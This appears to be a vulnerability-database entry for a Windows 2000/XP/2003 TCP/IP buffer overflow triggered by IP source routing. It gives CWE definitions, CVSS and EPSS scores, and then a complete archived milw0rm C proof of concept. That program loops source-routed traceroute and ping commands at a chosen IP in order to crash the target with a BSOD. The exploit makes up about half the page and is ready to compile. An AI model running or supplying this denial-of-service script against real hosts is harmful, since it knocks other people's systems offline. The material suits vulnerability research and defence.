CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in the TCP/IP Protocol driver in Microsoft Windows 2000 SP4, XP SP1 and SP2, and Server 2003 SP1 and earlier allows remote attackers to execute arbitrary code via unknown vectors related to IP source routing.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
63.98%
–
–
2023-03-12
–
–
–
77.11%
–
2023-04-23
–
–
–
77.14%
–
2023-09-17
–
–
–
81.39%
–
2023-11-12
–
–
–
82.74%
–
2024-06-02
–
–
–
82.74%
–
2024-10-06
–
–
–
88.68%
–
2024-12-22
–
–
–
94.73%
–
2025-01-19
–
–
–
94.73%
–
2025-03-18
–
–
–
–
66.87%
2025-03-30
–
–
–
–
67.59%
2025-03-30
–
–
–
–
67.59,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
####################################
#
# Windows TCP/IP source routing poc
# C version...
#
# by Preddy
#
# RootShell Security Group
#
# Shoutz 2:
#
# Jimmy and ByteCoder +
# Rs Crew +
# Rest of the world :D
#
#
####################################
Compile:
gcc win-tcpip-dos.c -o wintcpipdos
Info:
Published: 14.06.2006
Source: ANDREYMINAEV
Type: remote
Level: 9/10
Buffer overflow on ICMP packets with
Loose Source and Record Route IP options.
Short message translation: There are DoS
conditions in Windows 2000 built-in NAT
server. Tested configuration: Windows 2000
English Standard/Advanced Service Pack 4
+ Update Rollup 1 for Service Pack 4 with
NAT server enabled. While routing packets
with options "Loose Source and Record Route"
defined by RFC 791 through server, Windows
crashes to BSOD with error in tcpip.sys or
ntoskrnl.exe, or system hangs or system
began instable work. It doesn't metter if
packets are from internal or external
networks. Use attached script to test
vulnerability. On Windows 2003 problem
doesn't present. It's also likely same
problem to present in Windows 2000 +
ISA 2000. Code execution is potentially possible.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char *argv[])
{
char dos_ip[255];
char mysystem[10];
char ping[20+1];
char trace[100];
if(argc != 3)
{
printf("\n\nWindows TCP/IP source routing Dos - by Preddy\n");
printf("Usage: %s <ip> <mysystem>\n", argv[0]);
printf("Example: %s 127.0.0.1 linux\n", argv[0]);
printf("Uses the ping and the traceroute utility on your system\n", argv[0]);
printf("Should cause a BSOD on the remote system\n");
printf("More info: http://www.security.nnov.ru/Fnews753.html\n\n");
exit(1);
}
strcpy(dos_ip, argv[1]);
strcpy(mysystem, argv[2]);
if((strcmp (argv[2],"linux"))==0)
{
printf("\nTarget: %s\n", dos_ip);
printf("MySystem: %s\n", mysystem);
printf("Sending Payload...\n\n");
strcpy(ping, "ping -c 1 ");
strncat(ping,argv[1],9);
strcpy(trace, "traceroute -m 1 -g 0.0.0.0 ");
strncat(trace,argv[1],9);
while(1)
{
system(trace);
system(ping);
}
}
if((strcmp (argv[2],"windows"))==0)
{
printf("Target: %s\n", dos_ip);
printf("MySystem: %s\n", mysystem);
printf("Sending Payload...\n");
strcpy(ping, "ping -n 1 ");
strncat(ping,argv[1],9);
strcpy(trace, "tracert -h 1 -j 0.0.0.0 ");
strncat(trace,argv[1],9);
while(1)
{
system(trace);
system(ping);
}
}
}
// milw0rm.com [2006-06-30]